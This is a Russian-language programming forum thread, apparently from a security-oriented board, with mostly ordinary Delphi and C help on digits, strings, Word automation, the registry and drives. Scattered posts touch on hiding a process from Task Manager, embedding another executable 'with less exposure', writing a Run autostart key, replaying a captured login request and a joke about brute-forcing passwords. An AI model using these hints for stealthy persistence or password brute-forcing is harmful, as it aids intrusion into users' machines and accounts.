если можно полностью, а так... просто скажите как найти последнюю цифру числа

пример на си:

int a,b;
while (a!=0)
{
b=a%10;
a=a/10;
if (b==1) break;
}

[slesh]

последня цифра числа не дельфе - это
y:=x mod 10;

[KaZ@NoVa]

KaZ@NoVa, спасибо!

Я только не пойму там шаг уже задан или нет? Если да, то какая переменная?

там смотришь от x0 до xK
шаг dx

примерно так
while (x<=xK) do begin
///////
///////
x+=dx;
end;........

[Nightmarе]

Вот исходник проги, которую я писал. Определяет внутренний IP и внешний через хуиз. Если внутренний IP = внешнему, то соответственно НАТа нету, только вот с PPoe такая фишка не катит. Вообщем ->Вот<- (http://ifolder.ru/11793471) ковыряй =)
к сожалению это не то совсем.
смотри, все просто

парсишь ipconfig

если ip в зоне

10.0.0.0 - 10.255.255.255
172.16.0.0-172.31.255.255
192.168.0.0-192.168.255.255

то комп за NAT
Дело в том, что там помимо интернет подключения есть другие и диапазоны 192.168.0.0-192.168.255.255 там и так везде понатыканны по умолчанию.
По каким параметрам сделать точный парсинг я не знаю, можно через инет узнать IP но крайне нежелательно, может быть есть точные параметры для парсинга?

[Balvan]

Подаскажите пожалуйста как перевернуть число?
Т.е. 21=12, 235=532 и т.п.

Пример на Си:
{
int digit,sum;
cout<<"chislo:\n";
cin>>digit;
cout<<"chislo naoborot = ";
while(digit>0){
sum=digit%10;
digit/=10;
cout<<sum;
}
cin.get();
cin.get();
}
А надо на Делфях!

[Nightmarе]

Balvan наверное логично было бы задать вопрос в той теме, к которой код относится.

[Balvan]

И ещё один вопрос:
Как подсчитать поличество цифр в числе?

пример на Си

{
int digit,i=0;
cout<<"chislo:\n";
cin>>digit;
for(;digit>0;i++){
digit/=10;
}
cout<<" V dannom chisle "<<i<<" cifr\n\n";
cin.get();
cin.get();
}

Ну и также как и прошлый надо на Делфях!

[art2222]

Как подсчитать поличество цифр в числе?
Да хотя бы так =)


var
digit: Integer;

...

writeln('Всего: ', Length(IntToStr(digit)));

[LEE_ROY]

держи , написал с проверкой ;)

program digit;

{$APPTYPE CONSOLE}

uses
SysUtils;

var
str: string;
i: Integer;
digits: set of '0'..'9';

begin
try
digits := ['0'..'9'];
Readln(str);
for i := 1 to Length(str) -1 do
begin
if str[i] in digits then
begin
end
else
begin
Writeln('Error : ' + str[i]);
Readln;
Halt;
end;
end;

Writeln(Length(str));
readln;
{ TODO -oUser -cConsole Main : Insert code here }
except
on E: Exception do
Writeln(E.Classname, ': ', E.Message);
end;
end.

[AlexTheC0d3r]

к сожалению это не то совсем.

Дело в том, что там помимо интернет подключения есть другие и диапазоны 192.168.0.0-192.168.255.255 там и так везде понатыканны по умолчанию.
По каким параметрам сделать точный парсинг я не знаю, можно через инет узнать IP но крайне нежелательно, может быть есть точные параметры для парсинга?


это и есть точные параметры для парсинга

[Balvan]

Up! =)

Подаскажите пожалуйста как перевернуть число?
Т.е. 21=12, 235=532 и т.п.

Пример на Си:
{
int digit,sum;
cout<<"chislo:\n";
cin>>digit;
cout<<"chislo naoborot = ";
while(digit>0){
sum=digit%10;
digit/=10;
cout<<sum;
}
cin.get();
cin.get();
}
А надо на Делфях!

[LEE_ROY]

делать было нечего, держи)
program turnNumber;

{$APPTYPE CONSOLE}

uses
SysUtils;

var
number: Integer;
str: string;
i: shortint;
digits: set of '0'..'9';



begin
try
digits := ['0'..'9'];
Readln(str);
for i := 1 to Length(str) -1 do
begin
if str[i] in digits then
begin
end
else
begin
Writeln('Error : ' + str[i]);
Readln;
Halt;
end;
end;

number := StrToInt(str);
while (number > 0) do
begin
write(number mod 10);
number := number div 10;
end;
Readln;
{ TODO -oUser -cConsole Main : Insert code here }
except
on E:Exception do
Writeln(E.Classname, ': ', E.Message);
end;
end.

[art2222]

Подаскажите пожалуйста как перевернуть число?
Опять таки так =)

var
num: integer;
...
num:=21;
WriteLn('Число:', ReverseString(IntToStr(num))); //Выведет 12

[slesh]

<offtop>
ппц пошли вопросы. Еще чуть чуть и можно будет выбрав все посты с этой темы и "Студентам с лабами сюда" и можно уже выпускать решебник задач по информатике
</offtop>

<to_admin_and_moder>
Создайле лучше прикрепленную (закрытую) тему - Ответы на задача.
И периодически перекидывайте туда посты с этих темы в виде типа: Здание - Решение
А отсюда это уже можно будет удалять.
</to_admin_and_moder>

[s.p.a.m]

как опредилить на каком диске стоит windows?
Желательно с примером.

[slesh]

var
buf:array[0..100] of char;
begin
GetWindowsDirectory(buf,100);


buf[0] будет содержать букву диска

[waik]

надо написать приложение на дельфи которое должно выводить из буфера текст в стороннее приложение и нажимать enter т оесть.
enter-ввела текс-enter и так без конца.Текс она выводит но не в сторонние приложения.
вот часть кода .Извените за корявую вставку

unit Unit1; * interface * uses * Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, * Dialogs,Clipbrd,StdCtrls; * type * TForm1 = class(TForm) *** Button1: TButton; *** Edit1: TEdit; *** Button2: TButton; *** Memo1: TMemo; *** Edit2: TEdit; *** procedure Button1Click(Sender: TObject); *** procedure Button2Click(Sender: TObject); * private *** { Private declarations } * public *** { Public declarations } * end; * var * Form1: TForm1aiwin,i:integer; * implementation * {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin memo1.Clear; Clipboard.SetTextBuf(PChar(edit1.Text)); end; procedure TForm1.Button2Click(Sender: TObject); begin daiwin:=strtoint(edit2.text); for i:=1 to* daiwin+1 do begin if i<daiwin then Memo1.SelText := Clipboard.AsText; end; end; end.

[KIR@PRO]

кто знает как winapi (и только!) загрузить и отобразить рисунок из PNG файла.
Только из PNG.

[slesh]

также как и bmp. но предварительно раскодировав формат ручками. Бери описание формата и смотри какие поля за что овтечают

[KIR@PRO]

slesh
я до последнего надеялся что смогу без этого обойтись) но придется...

[waik]

а мне кто нить подскажет?

[slesh]

2 waik SetWindowText(H,pchar(Clipboard.AsText));
где H - дискриптор поля ввода в чужом окне.

[waik]

2 waik SetWindowText(H,pchar(Clipboard.AsText));
где H - дискриптор поля ввода в чужом окне.
эмм. . спасибо но как узнать имя дескриптора и как сделат ьнежатие клавиши enter перед вводом текста и после ввода текста

[slesh]

2 KIR@PRO
Если будеш юзать PNG то придется тебе еще и LZW реализовывать. потому что он именно им и пакован. По этому советую поглядеть как это всё было сделано в опенсоурской libpng (http://www.libpng.org/pub/png/libpng.html)
Вот тут вот описано как юзать это всё http://www.gamedev.ru/articles/?id=70122

[slesh]

waik: или юзай функции FindWindow чтобы найти нужно окно, а потом ищи на нем элемент.
Или в таймере запусти код:
h:=WindowFromPoint(mouse.CursorPos);
edit1.text:=inttohex(h,8);
и он будет показывать тебе дискриптор элемента на который наведена мышка.
А потом просто впиши этот дискриптор и всё (пс при каждом запуске приложения этот дискрипт меняется)

[waik]

у меня вот этот код меняет заголовок окна

setWindowText(h,pchar(Clipboard.AsText));

а задача чтоб она она внутри приложения нажимала enter вставляла текст и нажимала enter .у оно меняет загловок окна

[slesh]

значит дискриптор не правильно указал.
Для послыки энтера посылай томуже элементу сообщение о WM_KEYDOWN/ WM_KEYUP в 5005 статей по Delphi это очень хорошо описано

[Maxxxtri23]

Как зная имя процесса скрыть его форму, убрать из списка запушенных программ в диспетчере и из мемо этой формы вытащить данные?

[Maxxxtri23]

Так с 1 и 2 разобрался, остается только вытащить данные в мемо из чужой проги. И еще: как добавить чужую прогу к себе в exe файл и запустить её?

[[K4t]]

Здравствуйте. Вот ломаю голову над этим: имеется набор символов, строка (string); И в этой строке, по идее, заложен смысл... :) т.е. там лежат отдельные слова, разделённые между собой знаком ";". Например: Судан;Чад;Танзания;Кот-Д'ивуар;Мали;. Требуется считать символы между знаками ";" и вывести это построчно с новой строки (Memo1.Lines.Add('?')) в Memo... Мда. Возьмём к примеру "Судан;Чад;" Возможно нужно запомнить index ;'ой (в нашем случае это 6), записать в integer, поискать дальше по string и записать в integer2 (в нашем случае это 10), а потом из integer2-integer и получим 4, далее вычесть 1 и это будет copy(string,integer+1,COUNT); Не получается нормально сделать цикл... :( Делаю - for q:=1 to Length(Edit1.Text) do
begin
if Edit1.Text[q]=';' then
begin
integer:=q; А дальше полная ерунда :D Кто мне сможет помочь?

[KIR@PRO]

2[K4t]

procedure TForm1.Button1Click(Sender: TObject);
var q,w,e:string; i,o,p:integer;
begin
q:=edit1.text;
if ((length(q)<1)or(pos(';',q)<1)) then exit;
while pos(';',q)>0 do
begin
memo1.lines.Add(copy(q,1,pos(';',q)-1)) ;
delete(q,1,pos(';',q));
end;
end;

[desTiny]

while length(s)<>0 do
begin
t := pos(';', s);
//t-1 - длина слова
Memo.Lines.Add(copy(s, 1, t - 1));
delete(s, 1, t);
end;

[[K4t]]

:)))) Да... спасибо!

[Jim_Di]

Так с 1 и 2 разобрался, остается только вытащить данные в мемо из чужой проги. И еще: как добавить чужую прогу к себе в exe файл и запустить её?

я пользуюсь такой штукой. имхо, более удобно чем хранить в ресурсах файл - гораздо меньше палева, если ещё немного модифицировать =)

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Интегрирование в EXE-шник других файлов

Процедура из указанного файла (FileName) создаёт unit в котором объявлен,
заполненный побайтово, массив и процедура сохранения этого массива обратно
в файл. Таким образом можно включить в один EXE-шник множество других
файлов (dll, ocx, dbf и т.п.) - прикрепить их как unit-ы. Фактически,
после сжатия EXE-шника программами типа UPX, получаем довольно компактный
файл, который можно использовать в качестве дистрибутива, например.

Зависимости: SysUtils, System
Автор: Delirium
Copyright: Delirium (Master BRAIN)
Дата: 22 мая 2002 г.
************************************************** *** }

procedure FileToPas(FileName: string);
var
BF: file of Byte;
F: TextFile;
P, N, S: string;
BFSize: integer;
BBB: Byte;
begin
AssignFile(BF, FileName);
Reset(BF);
BFSize := FileSize(BF);
P := ExtractFilePath(FileName);
N := ExtractFileName(FileName);
N := ChangeFileExt(N, '.PAS');
AssignFile(F, N);
ReWrite(F);
Writeln(F, '(* Generated by Master BRAIN (C) 2002 *)');
Writeln(F, 'unit ' + ChangeFileExt(N, '') + ';');
Writeln(F);
Writeln(F, 'interface');
Writeln(F);
Writeln(F, 'const FileSize:integer=' + IntToStr(BFSize) + ';');
Writeln(F, 'FileData:array[0..' + IntToStr(BFSize - 1) + '] of Byte=');
Writeln(F, '(');
while not Eof(BF) do
begin
S := '';
while (not Eof(BF)) and (Length(S) < 80) do
begin
Read(BF, BBB);
S := S + IntToStr(BBB) + ',';
end;
if Eof(BF) then
Delete(S, Length(S), 1);
Writeln(F, S);
end;
CloseFile(BF);
Writeln(F, ');');
Writeln(F);
Writeln(F, 'procedure SaveToFile(FileName:String);');
Writeln(F);
Writeln(F, 'implementation');
Writeln(F);
Writeln(F, 'procedure SaveToFile(FileName:String);');
Writeln(F, 'var F:File of Byte;');
Writeln(F, ' i:integer;');
Writeln(F, 'begin');
Writeln(F, 'AssignFile(F,FileName);');
Writeln(F, 'ReWrite(F);');
Writeln(F, 'for i:=0 to FileSize-1 do Write(F,FileData[i]);');
Writeln(F, 'CloseFile(F);');
Writeln(F, 'end;');
Writeln(F);
Writeln(F, 'end.');
CloseFile(F);
end;

[PAXAn]

Нужна помощь по делфи. Я использую в своей программе word.

if CreateWord then begin
VisibleWord(false);
If AddDoc then begin
for i:=0 to Memo1.Lines.Count do
SetTextToDoc(Memo1.Lines[i]+#10,true);
......
CloseDoc;
end;
CloseWord;
end;
Этой процедурой я загружая текст из мемо в вордовский документ. И тут собственно вопрос как можно указать форматирование текста?
Нужно организовать отступ(по умолчанию большой выходит) и выделение определённых слов жирным шрифтом.

[НTL]

Надо сделать запрос на сайт в виде логина и пароля, надо заполнить 2 поля и нажать кнопку:
(С сайта Big-dialog.ru)

Поле логин:
<input class="loginField" type="text" name="user" value="" size="20" style="width:100%; background: #ffffff url(http://big-dialog.ru/Dizayn/ico3/user.png);background-repeat: no-repeat;padding-left:15px ;maxlength="50" />
Поле пароль:
<input class="loginField" type="password" name="password" size="20" style="width:100%; background: #ffffff url(http://big-dialog.ru/Dizayn/ico3/key.png);background-repeat: no-repeat;padding-left:15px;" maxlength="15" />
Кнопка:
<input class="loginButton" name="sbm" value="Вход" type="submit">

А теперь это надо сделать на делфи ну к примеру логин будет edit1, пасс edit2, кнопка будет батонам.

Желательно в исходниках, с меня +12

[cremator (c)]

метод какой? GET? POST? можно либо на socks или с помощью Indy

[НTL]

метод какой? GET? POST? можно либо на socks или с помощью Indy

GET если определит что что "правильный логин" то get, а так и постом можно

[slesh]

<offtop>+12 жжешь. Максимум +5 и то два раза незя )) нужно поипаться с этим )</offtop>
А вообще тупо запускается снифак, делается запрос. Он выдирается от туда а потом в сокет загоняеш его и всё )

[НTL]

<offtop>+12 жжешь. Максимум +5 и то два раза незя )) нужно поипаться с этим )</offtop>
А вообще тупо запускается снифак, делается запрос. Он выдирается от туда а потом в сокет загоняеш его и всё )

Мона +8 поставить в за один раз а +4 через 24 часа, если бы я мог сделать запрос сам то я бы не спрашивал, если не сложно скинь мне плиз исходники такова запроса

[slesh]

ппц. для холявщиков вопрос ))) Ответ ищет от сервака в юникоде.

POST /index/sub/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: application/xml, text/xml, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.63 (Windows NT 5.2; U; ru) Presto/2.1.1
Host: big-dialog.ru
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://big-dialog.ru/
Cookie: 6dialoguzll=1240853489; ucvid=A5kB62hB7I
Cookie2: $Version=1
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 53
Content-Transfer-Encoding: binary

user=mylogin&password=mypass&rem=1&a=2&ajax=1&rnd=104

HTTP/1.1 200 OK
Server: UcoZXSrv/1.4.9
Date: Mon, 27 Apr 2009 17:32:48 GMT
Content-Type: text/xml; charset=UTF-8
Keep-Alive: timeout=15
Cache-Control: no-cache
Cache-Control: no-store
Pragma: no-cache
Vary: host
Content-Encoding: gzip
Connection: Keep-Alive
Transfer-Encoding: chunked

012c
<?xml version="1.0" encoding="UTF-8"?><ajax><cmd p="innerHTML" t="blk549104"><![CDATA[<div align="left" style="padding:10px;"><div class="myWinLoadSF" title="Неправильный логин или пароль"></div></div>]]></cmd><cmd p="js"><![CDATA[setTimeout("document.getElementById('blk549104').style.display ='none'",'3000')]]></cmd></ajax>

[НTL]

ппц. для холявщиков вопрос ))) Ответ ищет от сервака в юникоде.

POST /index/sub/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: application/xml, text/xml, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.63 (Windows NT 5.2; U; ru) Presto/2.1.1
Host: big-dialog.ru
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://big-dialog.ru/
Cookie: 6dialoguzll=1240853489; ucvid=A5kB62hB7I
Cookie2: $Version=1
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 53
Content-Transfer-Encoding: binary

user=mylogin&password=mypass&rem=1&a=2&ajax=1&rnd=104

HTTP/1.1 200 OK
Server: UcoZXSrv/1.4.9
Date: Mon, 27 Apr 2009 17:32:48 GMT
Content-Type: text/xml; charset=UTF-8
Keep-Alive: timeout=15
Cache-Control: no-cache
Cache-Control: no-store
Pragma: no-cache
Vary: host
Content-Encoding: gzip
Connection: Keep-Alive
Transfer-Encoding: chunked

012c
<?xml version="1.0" encoding="UTF-8"?><ajax><cmd p="innerHTML" t="blk549104"><![CDATA[<div align="left" style="padding:10px;"><div class="myWinLoadSF" title="Неправильный логин или пароль"></div></div>]]></cmd><cmd p="js"><![CDATA[setTimeout("document.getElementById('blk549104').style.display ='none'",'3000')]]></cmd></ajax>


Скинь плиз в исходных файлах для делфи

[slesh]

HTTP Sender мой расковыряй. Там есть функция для посылки запросов и получения ответов. Там это прям выделенно в отдельную функцию. Исходник есть на делфи. так что поиск по теме в руки и вперет за родину, брутить пасы ))

[PAXAn]

а на с моим вопросом по поводу ворда кто нить поможет?Нужна помощь по делфи. Я использую в своей программе word.
Цитата:
if CreateWord then begin
VisibleWord(false);
If AddDoc then begin
for i:=0 to Memo1.Lines.Count do SetTextToDoc(Memo1.Lines[i]+#10,true);
......
CloseDoc;
end;
CloseWord;
end;
Этой процедурой я загружая текст из мемо в вордовский документ. И тут собственно вопрос как можно указать форматирование текста? Нужно организовать отступ(по умолчанию большой выходит) и выделение определённых слов жирным шрифтом.

[slesh]

Ты через что юзаеш ворд? DDE, OLE, Компонент WordApplication

[PAXAn]

через OLE

[slesh]

ну тогда типа такова:

var
Word: OLEVariant;
begin
Word:=CreateOleObject('Word.Application');
Word.Documents.Add;
Word.Selection.Font.Name:='Times New Roman';
Word.Selection.Font.Size:=12;
Word.Selection.Font.Bold:=True;
Word.Selection.ParagraphFormat.Alignment :=1;
Word.Selection.TypeText('Вставляемый текст');
// меняем стиль
Word.Selection.Font.Italic:=True;
Word.Selection.TypeText('Вставляем текст');
Word.ActiveDocument.SaveAs('c:\2.doc');

И так далее по аналогии.

[slesh]

а. забыл. дестрой незабывай делать, а то процес ворда будет висеть в памяти.
Word.Quit;

[PAXAn]

Спасибо большое.

[Pasha_777]

решено)))

[slesh]

по логике когда ты делаеш WebBrowser2.Navigate('about',Dummy,Dummy,Dummy, Headers);
то реферер всталяется у тебя уже для документа about. А если ты от туда уже пойдеш дальше то реферер будет уже about но браузер просто его не будет вставлять.

[Pasha_777]

Так похоже и происходит, но как вставить реферер papa.ru
Если поменять 'about' на 'papa.ru', то для первого счетчика на страничке реферер будет papa.ru,
а для всех остальных запросов - его не будет вообще.
Т.е. это работает только 1 раз...

Как я понимаю, после
Document2.Close;
как раз и идет выполнение скрипта (загруженного текста) а каким образом до этого момента реферер присвоить непонимаю....

[НTL]

slesh, сделай мне тогда просто пост запрос на логин и пароль, и скинь мне исходник, плиз

<offtop>А ты не верил что я могу +12поставить</offtop>

[Pasha_777]

По своей проблеме дополню...
Если делать все через idHTTP то сервер как то определяет что это не браузер (хотя в снифере пакеты полностью идентичны!!!), определяет так как идет обмен еще и внутренним протоколом (который гиморойно очень подделывать)

Так вот все работало, но потом добавили скорее всего проверку реферера и вот никак не получается его приделать к Post запросу через TWebBrowser...

P.S. Неужели никто на античате не писал авторегеров???

[art2222]

Если делать все через idHTTP то сервер как то определяет что это не браузер (хотя в снифере пакеты полностью идентичны!!!),
Не заполнено HTTP_USER_AGENT

[НTL]

Не заполнено HTTP_USER_AGENT

помоги мне сделать пост запрос на логин и пароль, см. выше

[slesh]

2 Pasha_777 Я писал авторегер. И всё хорошо пахало и держало кучу сайтов. И юзал обычные функции WinInet и незаморачивался на всяких компонентах.

[Pasha_777]

решено)))

[Pasha_777]

решено)))

[Stil Free]

Парни нужно добавить ключ в реестр , а потом при запуске программы проверять его как это сделать?

[KaZ@NoVa]

Парни нужно добавить ключ в реестр , а потом при запуске программы проверять его как это сделать?
Просто щелкни два раза по ключики и он сам должен добавиться.

[Stil Free]

Просто щелкни два раза по ключики и он сам должен добавиться.
ггг забавный ты тип, я занимаюсь программированием....и меня интересует как сделать это програмно...

[LEE_ROY]

если ты занимаешся программированием и незнаеш как работать с реестром то прости тебе сдесь делать нечего. работа с реестром описано во всех книгах и статьями полон гугл. удачи.

[diznt]

procedure TForm1.Button1Click(Sender: TObject);
var
reg:TRegistry;
begin
reg:=TRegistry.create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Run\', true);
if reg.KeyExists('my_key_name') then
begin
exit;
end
else
begin
reg.WriteString('my_key_name','"c:\1.exe"');
end;
end;

а вообще в гугле введи, "Работа с реестром delphi"
там будет этого добра навалом и быстро освоишься с реестром так как с ним легко работать в делфи

//пробелы убрать в коде

[slesh]

Вот код на API. Слегка кривоват, но пойдет

function LastPos(Needle: Char; Haystack: String): integer; // ищет следующую позицию подстроки в строке
begin
for Result:=Length(Haystack) downto 1 do if Haystack[Result] = Needle then Break;
end;

function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; var PVal: Pointer;var ValSize: Cardinal): boolean; //Чтение данных из реестра
var
SubKey:String;
n:integer;
MyValType:DWORD;
hTemp:HKEY;
Buf:Pointer;
BufSize:Cardinal;
begin
Result:=False; // первоночально установка, что ошибка
n:=LastPos('\', Name);
if n>0 then
begin
SubKey:=Copy(Name,1,n-1);
if RegOpenKeyEx(RootKey,PChar(SubKey),0,KEY_READ,hTem p) = ERROR_SUCCESS then
begin
SubKey := Copy(Name, n + 1, Length(Name) - n);
if RegQueryValueEx(hTemp, PChar(SubKey), nil, @MyValType, nil, @BufSize) = ERROR_SUCCESS then
begin
GetMem(Buf, BufSize);
if RegQueryValueEx(hTemp, PChar(SubKey), nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS then
begin
if ValType = MyValType then begin PVal:=Buf; ValSize:=BufSize; Result:=True;
end
else
begin
FreeMem(Buf);
end;
end
else
begin
FreeMem(Buf);
end;
end;
RegCloseKey(hTemp);
end;
end;
end;

function RegGetString(RootKey: HKEY; Name: String; Var Value: String): boolean; // Чтение строки из реестра
var
Buf:Pointer; // Адрес буфера
BufSize:Cardinal;// Размер буфера
begin
Result:=False;
if RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) then // Получение
begin
Dec(BufSize);
SetLength(Value, BufSize);
if BufSize>0 then CopyMemory(@Value[1], Buf, BufSize);
FreeMem(Buf);
Result := True;
end;
end;


Юзается так: RegGetString(HKEY_CURRENT_USER,'Software\Slesh\str oka',s);



function RegPutString(RootKey: HKEY; Key, Name, Value: string): Boolean;// запись строки в реестр
var
Handle:HKEY; // Для работы с реестром
Res:LongInt; // Информации об выполненной операции
begin
Result:=False; // первоначально устанавливается неудачность записи
Res:=RegCreateKeyEx(RootKey, PChar(Key), 0, nil, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS, nil, Handle, nil); // Создает ключ реестра
if Res<>ERROR_SUCCESS then Exit; // если не удалось создать ключ, то выход
Res:=RegSetValueEx(Handle, PChar(Name), 0, REG_SZ, PChar(Value), Length(Value) + 1);// Установка значения
Result:=Res=ERROR_SUCCESS;// возвратить информацию о завершении операции
RegCloseKey(Handle);// закрытие ключа
end;


Юзается так: RegPutString(HKEY_CURRENT_USER,'Software\Slesh\',' stroka',s);

[Stil Free]

procedure TForm1.Button1Click(Sender: TObject);
var
reg:TRegistry;
begin
reg:=TRegistry.create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Run\', true);
if reg.KeyExists('my_key_name') then
begin
exit;
end
else
begin
reg.WriteString('my_key_name','"c:\1.exe"');
end;
end;

а вообще в гугле введи, "Работа с реестром delphi"
там будет этого добра навалом и быстро освоишься с реестром так как с ним легко работать в делфи

//пробелы убрать в коде
Да всё я искал там нифига нет того что я ищу, if reg.KeyExists('my_key_name') мне нужно что то другое что проверяет есть ли ключ если он есть то делает определёные дейтвия если нет то делает другие действия...

[diznt]

Stil Free что значит нужно что-то другое нужно?
ты имеешь другая функция проверки? или что?
Если другая функция проверки то токо на WinApi это можно сделать то есть пишешь свою функцию

[diznt]

Как вывести все доступные жесткие диски?

[Stil Free]

Тот метод который ты дал не определяет ничего.... сам незнаю почему вроде как если ключ существует то определяет труе ,вот код.
function KeyExists(const Key: String): Boolean; begin
KeyExists('HKEY_LOCAL_MACHINE\SOFTWARE\11111\');
result:=open;
end;

procedure TfrmMain.FormCreate(Sender: TObject); begin
UINNickList := TList.Create;
if open=true then
begin
button1.Enabled:=true;
CheckBox1.Enabled:=True;
end
else
Button3.Visible:=true;
end;

[Flame of Soul]

Как вывести все доступные жесткие диски?

если только для списка жестких дисков то вот код.

procedure TForm1.Button1Click(Sender: TObject);
const
DRIVE_UNKNOWN = 0;
DRIVE_NO_ROOT_DIR = 1;
DRIVE_REMOVABLE = 2;
DRIVE_FIXED = 3;
DRIVE_REMOTE = 4;
DRIVE_CDROM = 5;
DRIVE_RAMDISK = 6;
var
r: LongWord;
Drives: array[0..128] of char;
pDrive: PChar;
begin
r := GetLogicalDriveStrings(SizeOf(Drives), Drives);
if r = 0 then Exit;
if r > SizeOf(Drives) then
raise Exception.Create(SysErrorMessage(ERROR_OUTOFMEMORY ));
pDrive := Drives;
while pDrive^ <> #0 do
begin
if GetDriveType(pDrive) = DRIVE_FIXED then
Form1.ComboBox1.Items.Add(pDrive);
Inc(pDrive, 4);
end;
end;

а если всех носителей то вот:
procedure TForm1.Button1Click(Sender: TObject);
var
ld: DWORD;
i: integer;
begin
ld := GetLogicalDrives;
for i := 0 to 25 do
begin
if (ld and (1 shl i)) <> 0 then
Memo1.Lines.Add(Char(Ord('A') + i) + ':\');
end;
end;

[Flame of Soul]

Парни нужно добавить ключ в реестр , а потом при запуске программы проверять его как это сделать?

Создать подраздел в реестре:

RegCreateKey (Key:HKey; SubKey: PChar; var Result: HKey): Longint;
_____ Key - указывает на "корневой" раздел реестра, в Delphi1 доступен только один - HKEY_CLASSES_ROOT, а в Delphi3 - все.
_____ SubKey - имя раздела - строится по принципу пути к файлу в DOS (пример subkey1\subkey2\ ...). Если такой раздел уже существует, то он открывается.
_____ В любом случае при успешном вызове Result содержит Handle на раздел.
_____ Об успешности вызова судят по возвращаемому значению, если ERROR_SUCCESS, то успешно, если иное - ошибка.
================================================== ==

Открыть подраздел:

RegOpenKey(Key: HKey; SubKey: PChar; var Result: HKey): Longint;

_____ Раздел Key
_____ Подраздел SubKey
_____ Возвращает Handle на подраздел в переменной Result. Если раздела с таким именем нет, то он не создается.
_____ Возврат - код ошибки или ERROR_SUCCESS, если успешно.
================================================== ==

Закрывает раздел:

RegCloseKey(Key: HKey): Longint;

_____ Закрывает раздел, на который ссылается Key.
_____ Возврат - код ошибки или ERROR_SUCCESS, если успешно.
================================================== ==

Удалить подраздел:

RegDeleteKey(Key: HKey; SubKey: PChar): Longint;

_____ Удалить подраздел Key\SubKey.
_____ Возврат - код ошибки или ERROR_SUCCESS, если нет ошибок.
================================================== ==

Получить имена всех подразделов раздела Key:

RegEnumKey(Key:HKey; index: Longint; Buffer: PChar; cb: Longint): Longint;

_____ Key - Handle на открытый или созданный раздел
_____ Buffer - указатель на буфер
_____ cb - размер буфера
_____ index - индекс, должен быть равен 0 при первом вызове RegEnumKey. Типичное использование - в цикле While, где index увеличивается до тех пор, пока очередной вызов RegEnumKey не завершится ошибкой
================================================== ==

Возвращает текстовую строку, связанную с ключом Key\SubKey:

RegQueryValue(Key: HKey; SubKey: PChar; Value: PChar; var cb: Longint): Longint;

_____ Ключ\подключ Key\SubKey.
_____ Value - буфер для строки
_____ cb - размер, на входе - размер буфера, на выходе - длина возвращаемой строки.
_____ Возврат - код ошибки.
================================================== ==

Задать новое значение ключу Key\SubKey:

RegSetValue(Key: HKey; SubKey: PChar; ValType: Longint; Value: PChar; cb: Longint): Longint;

_____ Ключ\подключ Key\SubKey.
_____ ValType - тип задаваемой переменной,
_____ Value - буфер для переменной
_____ cb - размер буфера. В Windows 3.1 допустимо только Value=REG_SZ.
_____ Возврат - код ошибки или ERROR_SUCCESS, если нет ошибок.
================================================== ==

Удаляет значение lpValueName находящееся в ключе hKey:

RegDeleteValue(HKEY hKey, LPCTSTR lpValueName);

_____ hKey - ключ. hKey должен был быть открыт с доступом KEY_SET_VALUE процедурой RegOpenKey.
_____ lpValueName - значение, находящееся в ключе hKey.
_____ Возвращает ERROR_SUCCESS если успешно.
================================================== ==

Выдает список значений у ключа hKey:

LONG RegEnumValue( HKEY hKey, DWORD dwIndex, LPTSTR lpValueName, LPDWORD lpcbValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData);

_____ hKey - ключ.
_____ dwIndex - этот параметр должен быть 0 при первом вызове, а далее по анологии с RegEnumKey (т.е. можно использовать в цикле),
_____ lpValueName - буфер для названия значения
_____ lpcbValueName - размер lpValueName
_____ lpReserved должно быть всегда 0
_____ lpType - буфер для названия типа (int)
_____ lpData - буфер для данных
_____ lpcbData-размер для lpData
================================================== ==


Примечание:
При каждой новом вызове функции после предыдущего нужно заново переназначить lpcbValueName.

lpcbValueName = sizeof(lpValueName)

[Stil Free]

Создать подраздел в реестре:

RegCreateKey (Key:HKey; SubKey: PChar; var Result: HKey): Longint;
_____ Key - указывает на "корневой" раздел реестра, в Delphi1 доступен только один - HKEY_CLASSES_ROOT, а в Delphi3 - все.
_____ SubKey - имя раздела - строится по принципу пути к файлу в DOS (пример subkey1\subkey2\ ...). Если такой раздел уже существует, то он открывается.
_____ В любом случае при успешном вызове Result содержит Handle на раздел.
_____ Об успешности вызова судят по возвращаемому значению, если ERROR_SUCCESS, то успешно, если иное - ошибка.
================================================== ==

Открыть подраздел:

RegOpenKey(Key: HKey; SubKey: PChar; var Result: HKey): Longint;

_____ Раздел Key
_____ Подраздел SubKey
_____ Возвращает Handle на подраздел в переменной Result. Если раздела с таким именем нет, то он не создается.
_____ Возврат - код ошибки или ERROR_SUCCESS, если успешно.
================================================== ==

Закрывает раздел:

RegCloseKey(Key: HKey): Longint;

_____ Закрывает раздел, на который ссылается Key.
_____ Возврат - код ошибки или ERROR_SUCCESS, если успешно.
================================================== ==

Удалить подраздел:

RegDeleteKey(Key: HKey; SubKey: PChar): Longint;

_____ Удалить подраздел Key\SubKey.
